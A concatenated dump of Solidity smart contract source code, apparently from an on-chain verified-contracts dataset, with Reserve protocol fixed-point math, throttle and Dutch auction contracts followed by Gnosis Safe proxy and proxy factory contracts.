FIX_MAX;\n uint256 shiftDelta = rawDelta;\n\n // add in rounding\n if (rounding == RoundingMode.ROUND) shiftDelta += (FIX_ONE / 2);\n else if (rounding == RoundingMode.CEIL) shiftDelta += FIX_ONE - 1;\n\n // untestable (here there be dragons):\n // (below explanation is for the ROUND case, but it extends to the FLOOR/CEIL too)\n // A) shiftDelta = rawDelta + (FIX_ONE / 2)\n // shiftDelta overflows if:\n // B) shiftDelta = MAX_UINT256 - FIX_ONE/2 + 1\n // rawDelta + (FIX_ONE/2) = MAX_UINT256 - FIX_ONE/2 + 1\n // b * a = MAX_UINT256 - FIX_ONE + 1\n // therefore shiftDelta overflows if:\n // C) b = (MAX_UINT256 - FIX_ONE + 1) / a\n // MAX_UINT256 ~= 1e77 , FIX_MAX ~= 6e57 (6e20 difference in magnitude)\n // a <= 1e21 (MAX_TARGET_AMT)\n // a must be between 1e19 & 1e20 in order for b in (C) to be uint192,\n // but a would have to be < 1e18 in order for (A) to overflow\n if (shiftDelta < rawDelta) return FIX_MAX;\n\n // return FIX_MAX if return result would truncate\n if (shiftDelta / FIX_ONE > FIX_MAX) return FIX_MAX;\n\n // return _div(rawDelta, FIX_ONE, rounding)\n return uint192(shiftDelta / FIX_ONE); // {D18} = {D36} / {D18}\n }\n }\n\n /// Divide two fixes, rounding up to FIX_MAX and down to 0\n /// @param a Numerator\n /// @param b Denominator\n function safeDiv(\n uint192 a,\n uint192 b,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n if (a == 0) return 0;\n if (b == 0) return FIX_MAX;\n\n uint256 raw = _divrnd(FIX_ONE_256 * a, uint256(b), rounding);\n if (raw >= FIX_MAX) return FIX_MAX;\n return uint192(raw); // don't need _safeWrap\n }\n\n /// Multiplies two fixes and divide by a third\n /// @param a First to multiply\n /// @param b Second to multiply\n /// @param c Denominator\n function safeMulDiv(\n uint192 a,\n uint192 b,\n uint192 c,\n RoundingMode rounding\n ) internal pure returns (uint192 result) {\n if (a == 0 || b == 0) return 0;\n if (a == FIX_MAX || b == FIX_MAX || c == 0) return FIX_MAX;\n\n uint256 result_256;\n unchecked {\n (uint256 hi, uint256 lo) = fullMul(a, b);\n if (hi >= c) return FIX_MAX;\n uint256 mm = mulmod(a, b, c);\n if (mm > lo) hi -= 1;\n lo -= mm;\n uint256 pow2 = c & (0 - c);\n\n uint256 c_256 = uint256(c);\n // Warning: Should not access c below this line\n\n c_256 /= pow2;\n lo /= pow2;\n lo += hi * ((0 - pow2) / pow2 + 1);\n uint256 r = 1;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n r *= 2 - c_256 * r;\n result_256 = lo * r;\n\n // Apply rounding\n if (rounding == CEIL) {\n if (mm > 0) result_256 += 1;\n } else if (rounding == ROUND) {\n if (mm > ((c_256 - 1) / 2)) result_256 += 1;\n }\n }\n\n if (result_256 >= FIX_MAX) return FIX_MAX;\n return uint192(result_256);\n }\n}\n\n// ================ a couple pure-uint helpers================\n// as-ints comments are omitted here, because they're the same as @return statements, because\n// these are all pure uint functions\n\n/// Return (x*y/z), avoiding intermediate overflow.\n// Adapted from sources:\n// https://medium.com/coinmonks/4db014e080b1, https://medium.com/wicketh/afa55870a65\n// and quite a few of the other excellent \"Mathemagic\" posts from https://medium.com/wicketh\n/// @dev Only use if you need to avoid overflow; costlier than x * y / z\n/// @return result x * y / z\nfunction mulDiv256(\n uint256 x,\n uint256 y,\n uint256 z\n) pure returns (uint256 result) {\n unchecked {\n (uint256 hi, uint256 lo) = fullMul(x, y);\n if (hi >= z) revert UIntOutOfBounds();\n uint256 mm = mulmod(x, y, z);\n if (mm > lo) hi -= 1;\n lo -= mm;\n uint256 pow2 = z & (0 - z);\n z /= pow2;\n lo /= pow2;\n lo += hi * ((0 - pow2) / pow2 + 1);\n uint256 r = 1;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n r *= 2 - z * r;\n result = lo * r;\n }\n}\n\n/// Return (x*y/z), avoiding intermediate overflow.\n/// @dev Only use if you need to avoid overflow; costlier than x * y / z\n/// @return x * y / z\nfunction mulDiv256(\n uint256 x,\n uint256 y,\n uint256 z,\n RoundingMode rounding\n) pure returns (uint256) {\n uint256 result = mulDiv256(x, y, z);\n if (rounding == FLOOR) return result;\n\n uint256 mm = mulmod(x, y, z);\n if (rounding == CEIL) {\n if (mm > 0) result += 1;\n } else {\n if (mm > ((z - 1) / 2)) result += 1; // z should be z-1\n }\n return result;\n}\n\n/// Return (x*y) as a \"virtual uint512\" (lo, hi), representing (hi*2**256 + lo)\n/// Adapted from sources:\n/// https://medium.com/wicketh/27650fec525d, https://medium.com/coinmonks/4db014e080b1\n/// @dev Intended to be internal to this library\n/// @return hi (hi, lo) satisfies hi*(2**256) + lo == x * y\n/// @return lo (paired with `hi`)\nfunction fullMul(uint256 x, uint256 y) pure returns (uint256 hi, uint256 lo) {\n unchecked {\n uint256 mm = mulmod(x, y, uint256(0) - uint256(1));\n lo = x * y;\n hi = mm - lo;\n if (mm < lo) hi -= 1;\n }\n}\n// slither-disable-end divide-before-multiply\n"
},
"contracts/libraries/NetworkConfigLib.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\n/**\n * @title NetworkConfigLib\n * @notice Provides network-specific configuration parameters\n */\nlibrary NetworkConfigLib {\n error InvalidNetwork();\n\n // Returns the blocktime based on the current network (e.g. 12s for Ethereum PoS)\n // See docs/system-design.md for discussion of handling longer or shorter times\n function blocktime() internal view returns (uint48) {\n uint256 chainId = block.chainid;\n // untestable:\n // most of the branches will be shown as uncovered, because we only run coverage\n // on local Ethereum PoS network (31337). Manual testing was performed.\n if (chainId == 1 || chainId == 3 || chainId == 5 || chainId == 31337) {\n return 12; // Ethereum PoS, Goerli, HH (tests)\n } else if (chainId == 8453 || chainId == 84531) {\n return 2; // Base, Base Goerli\n } else {\n revert InvalidNetwork();\n }\n }\n}\n"
},
"contracts/libraries/Throttle.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"./Fixed.sol\";\n\nuint48 constant ONE_HOUR = 3600; // {seconds/hour}\n\n/**\n * @title ThrottleLib\n * A library that implements a usage throttle that can be used to ensure net issuance\n * or net redemption for an RToken never exceeds some bounds per unit time (hour).\n *\n * It is expected for the RToken to use this library with two instances, one for issuance\n * and one for redemption. Issuance causes the available redemption amount to increase, and\n * visa versa.\n */\nlibrary ThrottleLib {\n using FixLib for uint192;\n\n struct Params {\n uint256 amtRate; // {qRTok/hour} a quantity of RToken hourly; cannot be 0\n uint192 pctRate; // {1/hour} a fraction of RToken hourly; can be 0\n }\n\n struct Throttle {\n // === Gov params ===\n Params params;\n // === Cache ===\n uint48 lastTimestamp; // {seconds}\n uint256 lastAvailable; // {qRTok}\n }\n\n /// Reverts if usage amount exceeds available amount\n /// @param supply {qRTok} Total RToken supply beforehand\n /// @param amount {qRTok} Amount of RToken to use. Should be negative for the issuance\n /// throttle during redemption and for the redemption throttle during issuance.\n function useAvailable(\n Throttle storage throttle,\n uint256 supply,\n int256 amount\n ) internal {\n // untestable: amtRate will always be greater > 0 due to previous validations\n if (throttle.params.amtRate == 0 && throttle.params.pctRate == 0) return;\n\n // Calculate hourly limit\n uint256 limit = hourlyLimit(throttle, supply); // {qRTok}\n\n // Calculate available amount before supply change\n uint256 available = currentlyAvailable(throttle, limit);\n\n // Update throttle.timestamp if available amount changed or at limit\n if (available != throttle.lastAvailable || available == limit) {\n throttle.lastTimestamp = uint48(block.timestamp);\n }\n\n // Update throttle.lastAvailable\n if (amount > 0) {\n require(uint256(amount) <= available, \"supply change throttled\");\n available -= uint256(amount);\n // untestable: the final else statement, amount will never be 0\n } else if (amount < 0) {\n available += uint256(-amount);\n }\n throttle.lastAvailable = available;\n }\n\n /// @param limit {qRTok/hour} The hourly limit\n /// @return available {qRTok} Amount currently available for consumption\n function currentlyAvailable(Throttle storage throttle, uint256 limit)\n internal\n view\n returns (uint256 available)\n {\n uint48 delta = uint48(block.timestamp) - throttle.lastTimestamp; // {seconds}\n available = throttle.lastAvailable + (limit * delta) / ONE_HOUR;\n if (available > limit) available = limit;\n }\n\n /// @return limit {qRTok} The hourly limit\n function hourlyLimit(Throttle storage throttle, uint256 supply)\n internal\n view\n returns (uint256 limit)\n {\n Params storage params = throttle.params;\n\n // Calculate hourly limit as: max(params.amtRate, supply.mul(params.pctRate))\n limit = (supply * params.pctRate) / FIX_ONE_256; // {qRTok}\n if (params.amtRate > limit) limit = params.amtRate;\n }\n}\n"
},
"contracts/mixins/Versioned.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"../interfaces/IVersioned.sol\";\n\n// This value should be updated on each release\nstring constant VERSION = \"3.3.0\";\n\n/**\n * @title Versioned\n * @notice A mix-in to track semantic versioning uniformly across contracts.\n */\nabstract contract Versioned is IVersioned {\n function version() public pure virtual override returns (string memory) {\n return VERSION;\n }\n}\n"
},
"contracts/plugins/trading/DutchTrade.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"../../libraries/Fixed.sol\";\nimport \"../../libraries/NetworkConfigLib.sol\";\nimport \"../../interfaces/IAsset.sol\";\nimport \"../../interfaces/IBroker.sol\";\nimport \"../../interfaces/ITrade.sol\";\nimport \"../../mixins/Versioned.sol\";\n\ninterface IDutchTradeCallee {\n function dutchTradeCallback(\n address buyToken,\n // {qBuyTok}\n uint256 buyAmount,\n bytes calldata data\n ) external;\n}\n\nenum BidType {\n NONE,\n CALLBACK,\n TRANSFER\n}\n\n// A dutch auction in 4 parts:\n// 1. 0% - 20%: Geometric decay from 1000x the bestPrice to ~1.5x the bestPrice\n// 2. 20% - 45%: Linear decay from ~1.5x the bestPrice to the bestPrice\n// 3. 45% - 95%: Linear decay from the bestPrice to the worstPrice\n// 4. 95% - 100%: Constant at the worstPrice\n//\n// For a trade between 2 assets with 1% oracleError:\n// A 30-minute auction on a chain with a 12-second blocktime has a ~20% price drop per block\n// during the 1st period, ~0.8% during the 2nd period, and ~0.065% during the 3rd period.\n//\n// 30-minutes is the recommended length of auction for a chain with 12-second blocktimes.\n// 6 minutes, 7.5 minutes, 15 minutes, 1.5 minutes for each pariod respectively.\n//\n// Longer and shorter times can be used as well. The pricing method does not degrade\n// beyond the degree to which less overall blocktime means less overall precision.\n\nuint192 constant FIVE_PERCENT = 5e16; // {1} 0.05\nuint192 constant TWENTY_PERCENT = 20e16; // {1} 0.2\nuint192 constant TWENTY_FIVE_PERCENT = 25e16; // {1} 0.25\nuint192 constant FORTY_FIVE_PERCENT = 45e16; // {1} 0.45\nuint192 constant FIFTY_PERCENT = 50e16; // {1} 0.5\nuint192 constant NINETY_FIVE_PERCENT = 95e16; // {1} 0.95\n\nuint192 constant MAX_EXP = 6502287e18; // {1} (1000000/999999)^6502287 = ~666.6667\nuint192 constant BASE = 999999e12; // {1} (999999/1000000)\nuint192 constant ONE_POINT_FIVE = 150e16; // {1} 1.5\n\n/**\n * @title DutchTrade\n * @notice Implements a wholesale dutch auction via a 4-piecewise falling-price mechansim.\n * The overall idea is to handle 4 cases:\n * 1. Price manipulation of the exchange rate up to 1000x (eg: via a read-only reentrancy)\n * 2. Price movement of up to 50% during the auction\n * 3. Typical case: no significant price movement; clearing price within expected range\n * 4. No bots online; manual human doing bidding; additional time for tx clearing\n *\n * Case 1: Over the first 20% of the auction the price falls from ~1000x the best plausible\n * price down to 1.5x the best plausible price in a geometric series.\n * This period DOES NOT expect to receive a bid; it just defends against manipulated prices.\n * If a bid occurs during this period, a violation is reported to the Broker.\n * This is still safe for the protocol since other trades, with price discovery, can occur.\n *\n * Case 2: Over the next 20% of the auction the price falls from 1.5x the best plausible price\n * to the best plausible price, linearly. No violation is reported if a bid occurs. This case\n * exists to handle cases where prices change after the auction is started, naturally.\n *\n * Case 3: Over the next 50% of the auction the price falls from the best plausible price to the\n * worst price, linearly. The worst price is further discounted by the maxTradeSlippage.\n * This is the phase of the auction where bids will typically occur.\n *\n * Case 4: Lastly the price stays at the worst price for the final 5% of the auction to allow\n * a bid to occur if no bots are online and the only bidders are humans.\n *\n * To bid:\n * 1. Call `bidAmount()` view to check prices at various blocks.\n * 2. Provide approval of sell tokens for precisely the `bidAmount()` desired\n * 3. Wait until the desired block is reached (hopefully not in the first 20% of the auction)\n * 4. Call bid()\n */\ncontract DutchTrade is ITrade, Versioned {\n using FixLib for uint192;\n using SafeERC20 for IERC20Metadata;\n\n TradeKind public constant KIND = TradeKind.DUTCH_AUCTION;\n\n // solhint-disable-next-line var-name-mixedcase\n uint48 public immutable ONE_BLOCK; // {s} 1 block based on network\n\n BidType public bidType; // = BidType.NONE\n\n TradeStatus public status; // reentrancy protection\n\n IBroker public broker; // The Broker that cloned this contract into existence\n ITrading public origin; // the address that initialized the contract\n\n // === Auction ===\n IERC20Metadata public sell;\n IERC20Metadata public buy;\n uint192 public sellAmount; // {sellTok}\n\n // The auction runs from [startBlock, endTime], inclusive\n uint256 public startBlock; // {block} when the dutch auction begins (one block after init())\n uint256 public endBlock; // {block} when the dutch auction ends if no bids are received\n uint48 public endTime; // {s} not used in this contract; needed on interface\n\n uint192 public bestPrice; // {buyTok/sellTok} The best plausible price based on oracle data\n uint192 public worstPrice; // {buyTok/sellTok} The worst plausible price based on oracle data\n\n // === Bid ===\n address public bidder;\n // the bid amount is just whatever token balance is in the contract at settlement time\n\n // This modifier both enforces the state-machine pattern and guards against reentrancy.\n modifier stateTransition(TradeStatus begin, TradeStatus end) {\n require(status == begin, \"Invalid trade state\");\n status = TradeStatus.PENDING;\n _;\n assert(status == TradeStatus.PENDING);\n status = end;\n }\n\n // === Auction Sizing Views ===\n\n /// @return {qSellTok} The size of the lot being sold, in token quanta\n function lot() public view returns (uint256) {\n return sellAmount.shiftl_toUint(int8(sell.decimals()));\n }\n\n /// Calculates how much buy token is needed to purchase the lot at a particular block\n /// @param blockNumber {block} The block number of the bid\n /// @return {qBuyTok} The amount of buy tokens required to purchase the lot\n function bidAmount(uint256 blockNumber) external view returns (uint256) {\n return _bidAmount(_price(blockNumber));\n }\n\n // ==== Constructor ===\n\n constructor() {\n ONE_BLOCK = NetworkConfigLib.blocktime();\n\n status = TradeStatus.CLOSED;\n }\n\n // === External ===\n\n /// @param origin_ The Trader that originated the trade\n /// @param sell_ The asset being sold by the protocol\n /// @param buy_ The asset being bought by the protocol\n /// @param sellAmount_ {qSellTok} The amount to sell in the auction, in token quanta\n /// @param auctionLength {s} How many seconds the dutch auction should run for\n function init(\n ITrading origin_,\n IAsset sell_,\n IAsset buy_,\n uint256 sellAmount_,\n uint48 auctionLength,\n TradePrices memory prices\n ) external stateTransition(TradeStatus.NOT_STARTED, TradeStatus.OPEN) {\n assert(\n address(sell_) != address(0) &&\n address(buy_) != address(0) &&\n auctionLength >= 20 * ONE_BLOCK\n ); // misuse by caller\n\n // Only start dutch auctions under well-defined prices\n require(prices.sellLow != 0 && prices.sellHigh < FIX_MAX / 1000, \"bad sell pricing\");\n require(prices.buyLow != 0 && prices.buyHigh < FIX_MAX / 1000, \"bad buy pricing\");\n\n broker = IBroker(msg.sender);\n origin = origin_;\n sell = sell_.erc20();\n buy = buy_.erc20();\n\n require(sellAmount_ <= sell.balanceOf(address(this)), \"unfunded trade\");\n sellAmount = shiftl_toFix(sellAmount_, -int8(sell.decimals())); // {sellTok}\n\n uint256 _startBlock = block.number + 1; // start in the next block\n startBlock = _startBlock; // gas-saver\n\n uint256 _endBlock = _startBlock + auctionLength / ONE_BLOCK; // FLOOR; endBlock is inclusive\n endBlock = _endBlock; // gas-saver\n\n endTime = uint48(block.timestamp + ONE_BLOCK * (_endBlock - _startBlock + 1));\n\n // {buyTok/sellTok} = {UoA/sellTok} * {1} / {UoA/buyTok}\n uint192 _worstPrice = prices.sellLow.mulDiv(\n FIX_ONE - origin.maxTradeSlippage(),\n prices.buyHigh,\n FLOOR\n );\n uint192 _bestPrice = prices.sellHigh.div(prices.buyLow, CEIL); // no additional slippage\n assert(_worstPrice <= _bestPrice);\n worstPrice = _worstPrice; // gas-saver\n bestPrice = _bestPrice; // gas-saver\n }\n\n /// Bid for the auction lot at the current price; settle trade in protocol\n /// @dev Caller must have provided approval\n /// @return amountIn {qBuyTok} The quantity of tokens the bidder paid\n function bid() external returns (uint256 amountIn) {\n require(bidder == address(0), \"bid already received\");\n\n // {buyTok/sellTok}\n uint192 price = _price(block.number); // enforces auction ongoing\n\n // {qBuyTok}\n amountIn = _bidAmount(price);\n\n // Mark bidder\n bidder = msg.sender;\n bidType = BidType.TRANSFER;\n\n // status must begin OPEN\n assert(status == TradeStatus.OPEN);\n\n // reportViolation if auction cleared in geometric phase\n if (price > bestPrice.mul(ONE_POINT_FIVE, CEIL)) {\n broker.reportViolation();\n }\n\n // Transfer in buy tokens from bidder\n buy.safeTransferFrom(msg.sender, address(this), amountIn);\n\n // settle() in core protocol\n origin.settleTrade(sell);\n\n // confirm .settleTrade() succeeded and .settle() has been called\n assert(status == TradeStatus.CLOSED);\n }\n\n /// Bid with callback for the auction lot at the current price; settle trade in protocol\n /// Sold funds are sent back to the callee first via callee.dutchTradeCallback(...)\n /// Balance of buy token must increase by bidAmount(current block) after callback\n ///\n /// @dev Caller must implement IDutchTradeCallee\n /// @param data {bytes} The data to pass to the callback\n /// @return amountIn {qBuyTok} The quantity of tokens the bidder paid\n function bidWithCallback(bytes calldata data) external returns (uint256 amountIn) {\n require(bidder == address(0), \"bid already received\");\n\n // {buyTok/sellTok}\n uint192 price = _price(block.number); // enforces auction ongoing\n\n // {qBuyTok}\n amountIn = _bidAmount(price);\n\n // Mark bidder\n bidder = msg.sender;\n bidType = BidType.CALLBACK;\n\n // status must begin OPEN\n assert(status == TradeStatus.OPEN);\n\n // reportViolation if auction cleared in geometric phase\n if (price > bestPrice.mul(ONE_POINT_FIVE, CEIL)) {\n broker.reportViolation();\n }\n\n // Transfer sell tokens to bidder\n sell.safeTransfer(bidder, lot()); // {qSellTok}\n\n uint256 balanceBefore = buy.balanceOf(address(this)); // {qBuyTok}\n IDutchTradeCallee(bidder).dutchTradeCallback(address(buy), amountIn, data);\n require(\n amountIn <= buy.balanceOf(address(this)) - balanceBefore,\n \"insufficient buy tokens\"\n );\n\n // settle() in core protocol\n origin.settleTrade(sell);\n\n // confirm .settleTrade() succeeded and .settle() has been called\n assert(status == TradeStatus.CLOSED);\n }\n\n /// Settle the auction, emptying the contract of balances\n /// @return soldAmt {qSellTok} Token quantity sold by the protocol\n /// @return boughtAmt {qBuyTok} Token quantity purchased by the protocol\n function settle()\n external\n stateTransition(TradeStatus.OPEN, TradeStatus.CLOSED)\n returns (uint256 soldAmt, uint256 boughtAmt)\n {\n require(msg.sender == address(origin), \"only origin can settle\");\n require(bidder != address(0) || block.number > endBlock, \"auction not over\");\n\n if (bidType == BidType.CALLBACK) {\n soldAmt = lot(); // {qSellTok}\n } else if (bidType == BidType.TRANSFER) {\n soldAmt = lot(); // {qSellTok}\n sell.safeTransfer(bidder, soldAmt); // {qSellTok}\n }\n\n // Transfer remaining balances back to origin\n boughtAmt = buy.balanceOf(address(this)); // {qBuyTok}\n buy.safeTransfer(address(origin), boughtAmt); // {qBuyTok}\n sell.safeTransfer(address(origin), sell.balanceOf(address(this))); // {qSellTok}\n }\n\n /// Anyone can transfer any ERC20 back to the origin after the trade has been closed\n /// @dev Escape hatch in case of accidentally transferred tokens after auction end\n /// @custom:interaction CEI (and respects the state lock)\n function transferToOriginAfterTradeComplete(IERC20Metadata erc20) external {\n require(status == TradeStatus.CLOSED, \"only after trade is closed\");\n erc20.safeTransfer(address(origin), erc20.balanceOf(address(this)));\n }\n\n /// @return true iff the trade can be settled.\n // Guaranteed to be true some time after init(), until settle() is called\n function canSettle() external view returns (bool) {\n return status == TradeStatus.OPEN && (bidder != address(0) || block.number > endBlock);\n }\n\n // === Private ===\n\n /// Return the price of the auction at a particular timestamp\n /// @param blockNumber {block} The block number to get price for\n /// @return {buyTok/sellTok}\n function _price(uint256 blockNumber) private view returns (uint192) {\n uint256 _startBlock = startBlock; // gas savings\n uint256 _endBlock = endBlock; // gas savings\n require(blockNumber >= _startBlock, \"auction not started\");\n require(blockNumber <= _endBlock, \"auction over\");\n\n /// Price Curve:\n /// - first 20%: geometrically decrease the price from 1000x the bestPrice to 1.5x it\n /// - next 25%: linearly decrease the price from 1.5x the bestPrice to 1x it\n /// - next 50%: linearly decrease the price from bestPrice to worstPrice\n /// - last 5%: constant at worstPrice\n\n uint192 progression = divuu(blockNumber - _startBlock, _endBlock - _startBlock); // {1}\n\n // Fast geometric decay -- 0%-20% of auction\n if (progression < TWENTY_PERCENT) {\n uint192 exp = MAX_EXP.mulDiv(TWENTY_PERCENT - progression, TWENTY_PERCENT, ROUND);\n\n // bestPrice * ((1000000/999999) ^ exp) = bestPrice / ((999999/1000000) ^ exp)\n // safe uint48 downcast: exp is at-most 6502287\n // {buyTok/sellTok} = {buyTok/sellTok} / {1} ^ {1}\n return bestPrice.mulDiv(ONE_POINT_FIVE, BASE.powu(uint48(exp.toUint(ROUND))), CEIL);\n // this reverts for bestPrice >= 6.21654046e36 * FIX_ONE\n } else if (progression < FORTY_FIVE_PERCENT) {\n // First linear decay -- 20%-45% of auction\n // 1.5x -> 1x the bestPrice\n\n uint192 _bestPrice = bestPrice; // gas savings\n // {buyTok/sellTok} = {buyTok/sellTok} * {1}\n uint192 highPrice = _bestPrice.mul(ONE_POINT_FIVE, CEIL);\n return\n highPrice -\n (highPrice - _bestPrice).mulDiv(progression - TWENTY_PERCENT, TWENTY_FIVE_PERCENT);\n } else if (progression < NINETY_FIVE_PERCENT) {\n // Second linear decay -- 45%-95% of auction\n // bestPrice -> worstPrice\n\n uint192 _bestPrice = bestPrice; // gas savings\n // {buyTok/sellTok} = {buyTok/sellTok} * {1}\n return\n _bestPrice -\n (_bestPrice - worstPrice).mulDiv(progression - FORTY_FIVE_PERCENT, FIFTY_PERCENT);\n }\n\n // Constant price -- 95%-100% of auction\n return worstPrice;\n }\n\n /// Calculates how much buy token is needed to purchase the lot at a particular price\n /// @param price {buyTok/sellTok}\n /// @return {qBuyTok} The amount of buy tokens required to purchase the lot\n function _bidAmount(uint192 price) public view returns (uint256) {\n // {qBuyTok} = {sellTok} * {buyTok/sellTok} * {qBuyTok/buyTok}\n return sellAmount.mul(price, CEIL).shiftl_toUint(int8(buy.decimals()), CEIL);\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}}
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// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,407 |
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|
13174fb4054ba3503617e407838d239b30e0f8eaf2370c52a8117ab3f4013abf
|
000099b4a4d3ceb370d3a8a6235d24e07a8c0000
|
ee2a0343e825b2e5981851299787a679ce08216d
|
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|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
